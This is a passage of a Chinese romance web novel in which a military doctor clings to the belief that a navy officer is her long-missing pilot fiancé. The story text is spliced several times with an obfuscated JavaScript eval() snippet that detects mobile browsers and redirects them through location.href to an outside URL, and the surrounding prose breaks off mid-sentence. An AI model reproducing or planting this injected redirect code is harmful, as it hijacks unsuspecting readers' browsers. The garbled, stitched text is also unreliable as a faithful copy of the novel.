《让我忘记你的脸》 1. 楔子 北上的火车穿梭在华北平原上,绿皮车速度不快,铁轨的撞击声很催眠,再过几个小时,出了山海关,就到了辽东。 工作日的卧铺车厢人很少,许悠然出神地看着窗外深沉的黑夜,耳机里传来一首老歌。 “你的爱会将我灌醉,我没有所谓,太过清醒怎么陶醉。你的爱像是杯太浓的咖啡,让我失眠彻夜,好爱这种感觉……mylove,baby,baby,baby,不想牵挂,心就要起飞,到那充满可能的国界……” 歌手的个人风格很强烈,带有金属质感的声音好像能刺穿耳膜,然后通过血管直达心脏。 许悠然平时不爱听这种感情过于强烈甚至撕心裂肺的歌曲,可现在坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107772|163966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在熟悉的列车上,耳边放着疯狂的音乐,她好像看到在冰天雪地里,她牵着郑骐的手,不顾一切地向前奔跑。到底要跑去哪里?她不知道,只知道跟他在一起,去哪都好。 也许只要他们跑得够快,就能躲过命运的追捕。躲不过也没关系,哪怕这是世界末日最后的狂欢,和他在一起,也可以勇敢面对。 2. 001 许悠然是被梦惊醒的。 梦里,一架威武精致的灰色战斗机像雄鹰一样翱翔在蓝天上,不时做出翻滚、悬停、俯冲等惊险的高难度动作。她有些担心,但仍然骄傲地仰头,因为她知道那飞机上有她的爱人。他是个战士,更是个英雄。 突然,灿烂的阳光被乌云遮盖,天空霎时间一片黯然,飞机像一片失去生命的树叶般,毫无预兆地从天空中坠落,速度极快,机头在强力的摩擦中燃起了浓烟和火苗。紧接着,“轰——”巨大的爆炸声和浓密的烟尘覆盖了一切。 她拼命地向浓烟跑去,可犹如进入了布满瘴气的丛林,她失去了方向,不论她怎么喊、怎么跑,都没有人回答,也找不到出路。 在极度的恐惧和焦急中,她醒了。 许悠然摸摸湿透的睡衣,看了看时间。 凌晨三点。又是这个点。她默默起身换了套干净的睡衣,然后抱膝坐在床头,看着窗外深沉的黑夜。 海岛的夜有微风,她静静听着,有树叶被吹动的“沙沙”声,有虫鸣声,还有外面马路上汽车碾过的声音,这是她无比熟悉的夜晚。她甚至记不清这是第几次夜半醒来。 既然睡不着,索性就不睡了。她打开手机,一个数字一个数字点,点得认真又小心,生怕点错。 “对不起,您所拨打的号码是空号——” “对不起,您所拨打的号码是空号——” …… 不出意料,还是打不通。 眼泪随着机械的女声从眼眶无声滑落,膝盖处的布料被濡湿,勾勒出瘦骨嶙峋的轮廓,许悠然的双肩微微颤动着,空旷的房间只有低低的啜泣声。 过了许久,她爬起来洗了把脸,开始翻看电脑上的病历。 …… 中午十二点半,余月准时走进了许悠然的办公室。 “许大医生,一起去吃饭吧!一上午累得我腰都直不起来了……” 作为海岛上最大的综合性军医院,南海医院业务繁忙,医生很难按时下班。 许悠然从包里拿出一个面包,“你去吃吧,我吃这个就行了。” 余月很无语,每天中午,许悠然都会像复制粘贴一样重复这个拿面包的动作,她甚至有点怀疑许悠然的包里是不是装满了吃不完的面包。 “面包真这么好吃?我尝尝。”余月劈手夺过面包,咬了一口,噎得直梗脖子。 “快喝点水……”许悠然拧开一瓶水递过去。 “你是不是有什么折磨自己的怪癖啊!这东西难为你每天吃得津津有味!” 余月艰难地吞下几口水,嫌弃地看了看手上干巴巴掉皮的面包,然后毫不留情地扔进了垃圾桶。 “你好歹也是上尉军医,能不能别让人误解我们的待遇很差啊?” 余月真的不理解。 许悠然收入和她差不多,而且听说许悠然是军人世家出身,父母都是军医,她不可能缺吃吃喝喝的钱。 “别告诉我你是为了减肥哈,你都这么苗条了再减肥还让我活不活了?” 许悠然白大褂下面的身形纤细瘦削,脸色近乎苍白,说话也是轻声细语,带着几分明显的惫懒和倦怠。 “省时省事么……”许悠然把耳边散落下来的几缕长发拢到耳后,嘴角勾起一道浅浅的弧线。 余月知道那不是笑,只是一种表情。这表情于许悠然而言,是一种礼貌,和“你好”“再见”没什么区别。 “周末联谊去不去?这次好像是海军特种兵部队,特种兵喔——” 许悠然的帆布袋被余月拎到手上,人也被她推着往外走。 “不去。”许悠然想拿回自己的袋子,余月似乎早有准备,藏到另一边,就是不让她碰到。许悠然拗不过她,只得顺从地往外走。 “特种兵你不感兴趣吗?”余月语气夸张,“你看过他们的宣传片没?超酷超帅的……那个面罩一戴,我的天好有安全感……” 任凭余月怎么极力渲染,许悠然都不应和。 余月有点忍无可忍了。 “你说你,不谈恋爱不出去玩,你不会是不喜欢男人吧?”余月掰正许悠然的肩膀,狐疑地看着她。 许悠然木然地看着她,终于有了一点反应。 她嘴巴张了张,好像在艰难地组织语言,过了一会儿,她才低声说:“我喜欢空军,不喜欢海军。” 余月恍然:“难怪,你读的空医大,喜欢空军也正常,那你怎么跑到海军军医院来了?” 她话音刚落,许悠然突然甩开她的胳膊,往门诊大厅冲了过去。 “许悠然?!!” 午休时间门诊大厅人不多,几个身着海军军装的男人列队从旁边走廊出来,清一色的雪白在安静空荡的门诊大厅十分惹眼。 队尾那个身影……宽厚的肩背,修长笔直的双腿,尽管有帽子的遮挡,但是依然清晰可见细长干净的脖颈。 哪怕隔着几十米的距离,许悠然也一眼认出,那是他。 因为不会有另一个人有这样的背影,高大挺拔,像一株小白杨。 像做梦一样,哪怕是梦,许悠然也不想放弃这个唯一的可能。 真的是梦?又像是她的幻觉。只闪现了短短几秒,又泡影般破灭了。 她站在人来人往的院子里,拼命寻找每一个相似的身影。 “许悠然,你怎么啦?” 余月拉住急得快哭的许悠然,有点吓呆了。 她从来没见过许悠然这副模样,像魔怔了。 一辆挂着军牌的车呼啸着从她们身边开过,车窗半开着,许悠然看到她朝思暮想的脸在玻璃后一闪而过,不容她再多看一眼汽车就驶出医院大门,汇入车水马龙中。 她想也没想,追了上去。 “刺——”刺耳的刹车声传来。 “没长眼睛啊!赶着去投胎啊!”愤怒的司机放下车窗朝眼前这个横冲直撞的疯女人吼叫。 “对不起,对不起……” 余月把许悠然拉到路边,好声好气朝司机道歉。 许悠然对司机的咒骂置若罔闻,只是执拗地看着军车离去的方向。 “你怎么了?看到熟人了?”余月试探道。 许悠然突然的莽撞和冲动像换了个人。平时许悠然在医院没什么存在感,尽管医术不错,学历也很高,可她不争不抢,别人不愿意干的活儿她干,干完也不表功,总是沉默寡言地做着各种事,或者发呆。 无欲无求。这是大家对许悠然的统一评价。 余月很好奇是什么东西让许悠然这个死气沉沉的人突然活了。 “你看到了吗?”许悠然低声讷讷,好像在问余月,又好像在自言自语。 “什么?”余月感到莫名其妙。 “那辆车。” “刚才那辆军车?那是海军的车啊,今天有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107773|163966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体检。”余月忍不住腹诽,刚才不是说不喜欢海军吗,现在怎么又追人家的车? “我未婚夫在上面。” 余月差点惊掉下巴。嘴张得老大:“你的,未婚夫?” 她重重强调了“未婚夫”三个字。 这应该是她来到南海医院之后听到的最大的新闻。 许悠然竟然有未婚夫! 一个身上没出现过黑白灰以外颜色的人,一个除了工作就是工作,抛弃了一切低级趣味的人,竟然有未婚夫? 而她,这个热爱生活,乐于社交的人连男朋友都没有! 余月不敢置信地瞪着许悠然,准备对她发起友情的审问,可她发现,许悠然还呆呆看着军车离去的方向,就像已经入定。 她突然有点发怵,小心翼翼扯扯她的袖子:“去吃饭吧?” 许悠然回过神,失魂落魄,那模样看起来好可怜。余月心软了,柔声问:“你未婚夫是海军?” 许悠然摇头,脸上却浮现出一抹笑容,羞涩又得意:“他是空军飞行员,特别厉害。” 我喜欢空军,不喜欢海军。 对上了。可又没完全对上。 余月确信刚才那辆车是海军的车,因为今天医院有海军部队官兵来体检。 许悠然的未婚夫是飞行员,可她说她的未婚夫在海军军车上。 “刚才,那是海军的车。而且,他们穿的白色军装,你是不是看错了?” “没错,就是他。不管他穿什么衣服,我都不会认错的。” “他不知道你在这里工作?怎么过家门不入,不来找你呢?” 许悠然摇摇头,有些低落:“他不知道,我三年没见过他了。” 余月目瞪口呆。 “那你可以给他打电话啊?总不至于电话也不能打吧?” 飞行员执行机密任务可能是要很长时间,但总不至于完全失联吧。余月觉得很可疑。 “我打了,打不通。”许悠然的声音很轻,又似乎有些不易察觉的哽咽。 “额……”余月语塞,她一时间找不到什么话来安慰许悠然。 她脑子完全乱了,一个失联三年的未婚夫?我信你才有鬼!她觉得许悠然肯定是被骗了。 许悠然抓住余月的袖子,哀求一般:“我记得你和体检中心的李主任挺熟的,能不能帮我查一下今天体检人员的名单?” 余月观察着许悠然的神色,她像一只被遗弃的小猫,无助但倔强。 她从来没见过这样的许悠然,如果说平时的许悠然是冷清颓丧的,那么此刻的许悠然让她感到害怕,因为她脸上有一种奇怪的偏执。她仍然目不转睛地看着一个方向,仿佛那里是个黑洞,已经把她的魂魄吸走了。 “这个倒是不难,咱们先去吃饭,你知不知道你刚才多危险?”余月拽着许悠然往回走,幸好她们没穿工装,不然又要横生枝节了。 许悠然没拒绝,乖乖跟着余月走回了医院。 到吃饭的时候,许悠然已经恢复正常,又变回了那副安静面孔。 余月一心想打探更多内幕,一边吃一边半开玩笑地问:“难怪你不参加联谊,原来早就有未婚夫了,你们什么时候认识的?藏得可真严实。” “我出生的时候。” 许悠然捏着筷子,好像陷入了回忆,脸上带着静谧的微笑。 她的生命有多久,他们就认识了多久。 3. 002 上一次提到“未婚夫”三个字还是三年前。那时候许悠然是世界上最幸福的人。 说到这里,余月看到许悠然似乎堕入了一个神秘而美好的幻境,她脸上浮现出从未有过的微笑。甜蜜、满足、幸福,仿佛她没有经历过任何痛苦,是个一直被快乐萦绕的小女孩。 这和平时的许悠然判若两人。 可余月却高兴不起来,因为许悠然的笑,让她想起了看过的电视剧。沉溺于某些不可说的往事无法自拔而疯掉的女主角,最后在现实和过去中纠缠,疯疯癫癫死去。 这个联想让余月浑身一冷,说话都开始打结:“好……好……吃完饭……我就给李主任打电话。” 许悠然朝余月微微一笑:“谢谢你,我好久没见到他了,我很想他。” “你们什么时候订婚的啊?” 余月觉得许悠然的话漏洞百出,但她好像并没撒谎。但世界上怎么会有人苦苦等一个失联三年的未婚夫呢?许悠然甚至连他是空军还是海军都弄不清楚。 高级杀猪盘遇到许悠然这个傻白甜了。余月在心里判定。可什么杀猪盘能杀二十七年啊?从出生就认识的人,那不是青梅竹马吗?余月不得不否定杀猪盘这个可能。 “嗯,订婚了,三年前,那个时候我还在军医大学。” “他也在这里参军?”余月顺着许悠然的话胡诌。 许悠然摇摇头,露齿而笑,脸上满是骄傲,“他在西北,航校毕业的时候别人都授少尉军衔,只有他被破例授予中尉军衔,后来才三年就立功,破格提拔为上尉呢!他特别厉害!教官说他会是二十年来最年轻的少校飞行员。” 她像个拥有绝世珍宝的孩子,忍不住向所有人展示炫耀,脸上是明晃晃的自豪和得意。 余月惊得嘴巴微张,手在饭桌下悄悄掐了掐自己的大腿。 这不是梦。 那个穿白色军装的人明明是海军现役军人,虽然隔得远没听清他们说什么,但是凭她的眼力一眼就认出,那个人是“一毛二”,根本不是许悠然说的“一毛三”。 细节越多越逼真。谎言经不起细节推敲。许悠然没说谎,那只有一种可能,她看错了!假如她没看错……余月想到自己刚才的联想和失联三年这个关键信息,突然浑身僵滞。 她再也吃不下饭了。一定是许悠然看错了!她强装笑脸,附和道:“这么优秀,难怪你从来不提他,是不是怕被人抢走啊,哈……哈哈……” 许悠然像个情窦初开的小女孩,脸上竟然泛起了微红,她抬起下巴,“哼”了一声,一脸笃定:“他才不会呢!” 余月张口结舌,想不出该怎么接话。胡乱扒拉了几口,就谎称吃饱了。 许悠然今天破天荒吃得不少,她吃完最后一点菜,优雅地擦干净嘴角和桌面,把餐盘放回回收处,这才催促余月,“快打电话,晚了李主任该午休了。” 余月不敢拒绝,唯唯诺诺掏出手机拨通了体检中心李主任的电话,躲到角落里去讨人情了。 不一会儿,她走回许悠然身边,满脸歉意:“这下尴尬了,李主任说体检名单涉密,不能随意泄露,不过他说今天机器临时故障了,明天还有几个项目要检查。你要找他的话明天上午去体检中心。” 许悠然听到名单不能外泄,脸上满是失望,但听到明天还要补检,少女般的喜悦马上取代了失望。 她原本就生得很漂亮,大大的眼睛,漆黑的眸子,看起来可爱又可亲,白皙的皮肤,小巧的嘴巴,尖俏的下巴,几颗散落在脸颊的痣,不笑的时候有些清冷,仿佛自带结界,一笑起来却完全换了天地,只觉得灿烂又明媚,让她看起来有着同龄人没有的天真感。 余月看着她变幻莫测的脸,心里七上八下。明天不会出什么事吧?她由衷地希望是许悠然看错了,她的好朋友,南海医院尽职尽责的骨科医生,脑子不可能出问题! 许悠然回到宿舍的时候已经是晚上八点。有几个加号病人来看腰椎,她不忍心让人白跑一趟,硬是看完了才下班。幸好宿舍就在医院旁边,她拖着疲惫的身躯躺倒在床上,目不转睛地看着天花板。 天花板光秃秃的,不止天花板,整间宿舍就像余月说的那样,家徒四壁,敷衍了事。 早已经过了饭点,中午吃得多她也不觉得饿,快速冲了个澡,打开衣柜挑衣服。 放眼看去,她的衣柜几乎全是黑白灰。三年来,她买衣服都是同款黑白灰各一件,仅有的几条连衣裙也是素色,顶多在底色上增添点浅蓝色、天蓝色、藏蓝色、湖蓝色的花纹或滚边。 蓝色,是天空的颜色,也是她最喜欢的颜色。 她比来比去,终于挑出一件白底点缀浅蓝色羽毛纹样的连衣裙。 她换上裙子,对着洗手间仅有的一面镜子照了照。镜子是宿舍的前主人留下来的,有些年头了,上面斑驳着点点痕迹,不是很清晰。 镜子里依稀浮现出一个身材纤细修长的女孩。裙子衬得她肤色胜雪,更像一个不谙世事的学生。 她很喜欢这条裙子,这条裙子很像她三年前订婚时穿的那条,有代表医生的白色,有代表天空的蓝色。 白色是她,蓝色是他。他们会永永远远在一起,就像小时候那样。 她小心翼翼地脱下裙子,生怕不小心弄出折痕,索性挂在床对面的墙上,这样她可以看着裙子入睡,就像三年前订婚前夜那样。 又几乎是一夜未眠,她只在天快亮的时候才迷迷糊糊睡了会儿。 这一切都和三年前一样。 三年前她也是怀着这样激动又期待的心情难以入眠。这么想着,她恨不得马上就天亮。天亮了,她就可以回到三年前,回到她最幸福的那一天。 “许医生早啊!裙子很漂亮喔!” “许医生今天看起来不太一样啊!” “许医生今天气色真好!” 一路上同事纷纷和许悠然打招呼。有调侃的,有称赞的,但更多的还是惊讶。他们从来没见过这样神采飞扬的许悠然。她化着淡妆,窈窕的身影在白大褂里翩然生姿。有人忍不住跟余月打听,许医生是不是谈恋爱了? 许悠然今天是下午的班,但她还是早早来了门诊部,坐在余月旁边协助她。有她的帮忙,不到十二点两人就闲了下来。 许悠然不住看表。 “李主任,那我们现在过来了哈!” 余月挂上电话,有些期待又有些忐忑地说:“走吧走吧,李主任让咱们赶紧过去,现在人都在CT室呢。” 她脚步有些踌躇,许悠然今天的反常她全看在眼里。她突然有些怕,她不知道会发生些什么,会不会伤害到许悠然。 许悠然完全没察觉到余月的不对劲,脚步轻快又坚决,几乎是拖着她往体检中心走去。 CT室外的椅子上坐着十来个穿着海军制服的人,哪怕是在等候,也都正襟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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三年了,她不敢看这张脸的任何影像记录,怕自己只看一眼就会崩溃。她只敢在梦里和这张脸相见,可是梦终究只是梦,她摸不到他,也感受不到他的温度。 当这张脸切实地出现在面前,她才知道自己有多盼望再见到他。哪怕痛哭流涕的样子再丑,她也不管。 失望、委屈、伤心、惊喜、激动、酸楚,各种情绪一齐涌上来,淹没了许悠然仅存的一点理智。 她快步上前,在所有人都没反应过来的时候紧紧抱住了那个她魂牵梦萦的身影。 眼泪再也止不住了,她用力感受着怀里的人。一样的高度,他抱着她的时候她的头正好靠在他胸口。一样的温度,她总是撒娇故意推开他,说他体热,让他离自己远一点。可是在北国的冰天雪地里,他又是她最好的暖手宝,抱再久都舍不得放开。 眼泪打湿了那人的背,他没有推开许悠然,只是静静站了一会儿,然后握住她的手,慢慢拉开。 似乎经历了一个世纪那么漫长的煎熬,许悠然既期待他的转身又怕他转身。 终于,他似乎下定了决心,松开许悠然的手,缓缓转过身,微笑看着眼前泪水涟涟的人。 许悠然愣了愣,眼泪模糊了她的视线。但是她从未像此刻这样清晰地辨认出他的模样。 浓眉深目,高挺的眉骨在眼眶投下一片阴影,她还记得她经常取笑他自带墨镜。他却一扬眉,食指和中指并拢在眉边敬个礼,笑盈盈地说:“不好看吗?” 一模一样的微笑。真的和三年前一样。 “郑骐,你回来了!” 许悠然不顾一切地扑入了他的怀抱。 4. 003 许悠然的睡眠质量很差,常常失眠。但是她从不渴望一夜无梦好眠到天亮。她渴望做梦,喜欢做梦,因为只有在梦里,她才能毫无顾忌、随心所欲地和郑骐相会。 有时候生病,吃了药之后昏昏沉沉,整个人好像昏死过去一样,做没做梦,梦到了什么都毫无印象。她痛恨这样的夜晚。这是一种浪费,如果人生只有两万多个夜晚,那么她已经浪费了三分之一的时间。人会老,记忆会衰退,她不知道自己老了还能不能再梦到他,还能不能记得他的样子。后来再生病,她索性不吃药。 那些不吃药的夜晚,她梦到过各种各样的郑骐。 十岁的时候,她跟人赌气爬上树却不敢下来,又不肯服输,只得一个人在树杈上坐着抹眼泪。天黑了,附近的野猫此起彼伏地叫着,她怕猫,吓得瑟瑟发抖。最后是郑骐找到她,把她抱了下来。虽然只比她大一岁,但是已经高她一个头的郑骐拍拍她的脸,温柔地笑,“你这个傻丫头,让你上树你就真的上树啊,你看你的脸,成了小花猫。”没有责怪和嘲笑,只有关心和疼爱。 十二岁的时候,她生理期突然来了弄脏了裤子,躲在教室里不敢出去。还是郑骐,把自己的外套脱下来给她遮挡,然后把她送回家,阻隔了院子里调皮鬼们鬼鬼祟祟的目光。 十四岁的时候,她期末考试没考好,被妈妈一通训之后躲在房间哭个没完,不见人也不肯吃饭。任凭爸爸怎么劝,就是不开门。最后,还是爸爸请来了郑骐。他这个时候已经上高一了,下了晚自习饭都没吃就来劝她。隔着薄薄一扇门,他的声音温暖又戏谑,“你再不吃饭,那我把你的饭吃掉咯,我刚下课正饿得慌呢。”她马上就开门了,不是真的怕郑骐吃掉她最喜欢的糖醋排骨,而是怕他再没有更多的耐心来哄她。最后,两个人一起吃完饭,郑骐又给她辅导功课,直到她眼睛睁不开了,他才无奈地摇摇头放过了她。 十六岁的时候,郑骐要离开家去千里之外的北方念航校。她既为他的优秀感到骄傲,又为即将到来的离别而伤感。她还没成年,不敢告诉他她的少女心事,又怕远走高飞的郑骐会渐渐忘了她这个邻家妹妹。在机场,她强忍着眼泪看着郑骐走进闸口,没想到郑骐却突然回身对她挥挥手,“好好学习,将来我开飞机带你看日落。” 十八岁的时候,她终于拼尽全力考上了军医大学。这是她父母的母校,更是她能接近他最近的方式。父亲说,将来她毕业了多半会分到空军部队当航医。到时候求父亲帮忙,把她分到郑骐所在的部队,她不就可以经常看到他了吗?记不清为了这个梦想熬过多少夜,哪怕生病发烧,她也没少做一套题,没赖过一次床。就为了能离他近一点,再近一点,他那样优秀,她如果不努力,怎么追得上他呢? 醒来的时候都是哭着的。 有时候枕头都湿透了,眼泪湮过的地方干了之后变得有些硬,她会马上换个枕头,强迫自己再睡。可惜事与愿违,醒了多半就再也睡不着,她只能枯坐到天明。梦里都是他,可是不管她再怎么努力,醒来的时候都没有他。她很想很想他,如果能永远在梦里就好了。可是她答应过,她会好好生活,最后只能摩挲着手腕上的疤痕,一个人默默流泪到天明。 她从来没想过,还能再见到他,还能紧紧抱住他,感受到他坚实的胸膛,有力的臂膀和温热的躯体。 “郑骐,我就知道你不会忍心丢下我不管。” 她把脸在他的军装上轻轻蹭着,熟悉的触感,曾经无数次她也这样靠在他的胸口,诉说两地分离的思念之苦。 一双温暖的手抚上了她的肩膀,轻轻把她从怀抱里暂时解脱出来。 她抬起头有些不解地看着他。久别重逢,他难道不想念她吗? 苦苦等待了一千多个日夜的脸就这样极致地靠近着,他的眼睛里也清晰地写着相思和喜悦,还有几分微微的羞赧。 是了,郑骐就是这样的。哪怕他的想念再喷涌待发,也会竭力克制住。他会因为许悠然在大庭广众下的拥抱而局促,会因为许悠然主动亲他的脸而害羞,他的感情虽然含蓄但很纯粹。 “咳咳……” 几声刻意的咳嗽从走廊那头传来。 许悠然这才发觉十来双眼睛都看着他俩,羞得满脸通红,脸上的笑意却止不住,双眼一刻不离地看着身旁的人,只是略微拉开了些距离。 余月这才有些尴尬又有些了然地走上来,努力克制着自己的八卦欲望,笑眯眯说:“这是在医院呢,注意影响,悠然,这位是?” 她说着眼睛又往肩章上扫了扫。 “一毛二”,没错,就是中尉,根本不是许悠然说的“一毛三”。更不是空军制服,是如假包换的海军制服。除非她是色盲,分不清蓝色和白色。 许悠然炙热的眼神已经毫无疑问,这的确是她口中的“未婚夫”。 那么问题出在哪? 她从来没见过许悠然笑得那样开心热烈,像个孩子,喜极而泣,脸上还有泪痕,但嘴角却高高扬起。她不忍心戳破她的快乐。 一旁等待做检查的小伙子们也都遮遮掩掩想要探听内幕,虽然都竭力装出一副严肃的样子,但是注意力分明都在许悠然身上。 “咳咳……”许悠然的“未婚夫”清了清嗓子,对余月伸出手。 “你好,我是……郑骐。” 余月一愣,马上也伸出手和他轻轻碰了碰,“你好,我是悠然的同事余月,久仰久仰。” 郑骐听到“久仰”两个字脸上露出几分不自在,不过转瞬即逝,他笑着说:“感谢你对悠然的照顾,她经常跟我说医院的同事都很关照她。” 余月“呵呵”尬笑,“应该的,我们都很喜欢悠然。只是一直不知道原来她的未婚夫就在眼前,还老想着给她介绍对象,真是不好意思。” “我之前一直在北方集训,最近刚刚回来,改天请大家吃饭,感谢你们这段时间对悠然的帮助。” 余月干笑几声,支支吾吾遮掩过去。 太荒唐了! 这个人到底是谁?她可以肯定他的确是许悠然心心念念的未婚夫,可这人身上明晃晃的海军制服她总不会看不见吧。话可以乱说,军装可不敢乱穿。空军飞行员为什么变成了海军特种兵?她隐隐看到他臂章上绣着“蛟龙”两个字。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107775|163966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她不安地看了看许悠然,她的视线一直围绕着郑骐,片刻都没有离开过。 “悠然,那我先去吃饭啦,下午别忘了按时上班。”余月需要静静,思考到底该不该把这些明显的漏洞拆穿。 许悠然正要答应,郑骐却开口了,“我这边还有事,估计不能陪你一起吃饭了,晚上下班我来接你好吗?” 许悠然只得点点头,微微仰头看着他,表情乖巧又带着几分娇羞:“好,我会尽量早点下班的。” 这边的检查全部做完了,郑骐和他的战友整齐划一往外走去。许悠然依依不舍地看着他离开的方向,就像每次他假期结束要离开时那样。 他肯定会回头看我的。 许悠然这么想着。 每次她送郑骐去机场,他总是在进了闸口之后再转身看她一眼,就是这一眼,许悠然知道郑骐也像她舍不得他一样舍不得她。 果然,郑骐的脚步在门口停住了。他回头,深深地看了许悠然一眼,然后才转身彻底消失在她视线里。 余月见许悠然还迟迟不肯离去,上前揽住她的肩,柔声问:“这就是你说的超级飞行员?” 许悠然点头:“怎么样,他是不是很帅?” “帅是帅,可是……”余月犹豫了一会儿,终于决定还是问出口,“可是大小姐,你不会分不清海军和空军制服吧?” “我当然知道啊,他穿的不就是空军制服吗,一杠三星,最年轻的上尉,他才二十五岁呢,他将来会是最厉害的飞行员。” 许悠然依依不舍地看向郑骐离去的方向,脸上洋溢着幸福和自豪。那是她的爱人,是她心中的英雄,从小就出类拔萃,天赋卓绝。 余月目瞪口呆,不敢继续说下去,只得岔开话题,东拉西扯。 她确信了一点,她的朋友,空医大毕业的博士上尉、专业过硬的许悠然,精神出了问题。 那个郑骐,知道吗? “你小子,原来金屋藏娇这么久啊!”车上,三四个小伙子嘻嘻哈哈,胡乱开着玩笑。 “什么金屋藏娇,别胡说八道,注意纪律!”郑骐扶正被战友弄歪的帽子,一边整理衣襟,一边笑骂。 “弟妹这么漂亮,什么时候给我们引荐一下,医院肯定还有很多没对象的小护士,你看哥几个苦哈哈的,给我们也介绍一下呗,国家把过关的,绝对信得过!” 关系最好的佟大伟是东北汉子,一贯直来直去,豪爽惯了,一把箍住他的脖子,笑嘻嘻地说。 “自己去找,别烦我!”郑骐撂开他,语气有些不耐。 “我还没问你呢,你啥时候改名字了?哥们儿怎么不知道啊?别是你为了骗小姑娘瞎编的吧?信不信我去政委那告你……”佟大伟嘴上没把门,什么话都敢说,两人平时嘻哈打闹惯了,谁也不当真。 几个战友也跟着起哄,逼着郑骐给他们介绍对象。 郑骐被闹得没办法,只得捂住耳朵,眼睛一闭,拒绝再回答任何问题。 他是军人,本不该相信什么天理循环,报应不爽。可是此刻,他真的希望如果有报应,都报应在他身上。 5. 004 下午病人不多,许悠然心里虽然装着事,但是看诊依然很认真,不知不觉时间过得很快。五点半,一个病人也没有了。 “那位还没来?”余月站在许悠然办公室门口,扭着脖子看外面。 “不着急,万一有加号病人呢。”许悠然嘴上这么说,手却已经不由自主地开始收拾东西。 “你们认识多久了,订婚都三年了,准备什么时候结婚呀?”余月心有不忍地看着许悠然,她低着头认真整理着病历,嘴角却不自觉带着笑意。像一朵含苞待放的百合,干净纯洁。 “他说等他执行完任务回来再说。我没想到他会去三年这么久。不过能回来就好。” 许悠然收拾好东西,抬起头看着余月,脸上是久别重逢的幸福和喜悦。 两人正聊着,低沉悦耳的男声在她们身后响起。 “悠然,我来接你下班了。” 郑骐换下了军装,白色休闲衬衫的扣子开了两颗,下摆随意地散着,卡其色休闲裤裤脚有些乱,脚上是白色帆布球鞋,整个人看起来清爽又利落。 许悠然雀跃而起,像一只快乐的小鸟拎起包就把余月往门外推。 “下班啦下班啦,你也快走吧!” 她连门都忘了锁。 郑骐似乎对她的稀里糊涂已经习以为常,笑着拉住她,下巴朝办公室点点。 “什么?”许悠然呆呆看着他。 “你这个糊涂虫,没锁门啊。”他笑了,表情宠溺又无奈。 许悠然反应过来,不好意思地摸摸头发,转身锁门。 不能怪她,这样便装的郑骐她已经很久很久没见过了。久到她几乎快忘记他脱下军装的模样。但是她还记得,这是郑骐私下最常见的打扮,不穿军装的时候他不再是王牌飞行员,只是个自由自在的年轻人,可以轻松地和她一起逛街、看电影、吃小吃。 余月满心忧虑地看着两人渐行渐远,直至离开医院。 可能是顾忌着同事,两人隔着半人的距离,并没有更多亲密的举动。 许悠然笑得很开心,时不时扭头看身旁的人。 可是女人的直觉告诉余月,郑骐很怪,他很不自在,两手插在裤兜里,似乎害怕和许悠然有过多的接触。 眼前这个人,绝对不是许悠然口中那个天赋异禀的超级飞行员,那么他是谁?她该不该告诉许悠然,让她去看医生呢? 余月烦恼地抓抓头发,心不在焉地回了宿舍。 傍晚的沙滩是最适合情侣的。郑骐和许悠然并肩在沙滩上随意走着,三三两两的游客从身边经过,不时有人瞄他们一眼。俊男美女,不管是外形还是气质,都极其般配,望之令人赏心悦目。 在人少的一角海滩,郑骐停下脚步,扭头看着身侧的人。海风拂过,吹起了许悠然的裙摆。她浑然不觉周遭艳羡的目光,兴奋地指着远处的落日,脸上盈满了幸福。 “你看,好美的落日。你不是说要开飞机带我看落日吗,不会忘了吧?” 她撒娇般抱住郑骐的腰,娇笑着看他,眼睛里的情意快要溢出来。 郑骐浑身一僵,不过很快就放松下来,低头笑问:“海上直升机怎么样?” 幸好他抽空学了直升机驾照。 南海市是久负盛名的旅游城市,近些年海滩直升机广受欢迎,更有专业的直升机俱乐部提供游览、救援、试驾各种定制服务。现在不是旅游旺季,两人到达直升机俱乐部的时候,俱乐部没什么人。 一架白蓝相间的直升机停在户外停机坪上,螺旋桨刮起大风险些掀翻许悠然的裙子,吓得她赶紧用手捂住,逗得郑骐哈哈大笑。 “你还笑!”她娇嗔着捶了捶郑骐的胸口。 噪音太大,郑骐不得不凑到许悠然耳边:“别生气,你看,海上落日肯定更美。” 他呼出的热气喷在许悠然脸上,她的脸马上红到了耳后根,说话也不利索了,支支吾吾着把郑骐推远了点,“那你还不快点,太阳就快下山了。” 郑骐看看她红透了的后脖颈,笑得更厉害了。 金灿灿的余晖撒在海面上像铺满了细细的沙子,乍眼看去恍如一片无边沙漠。 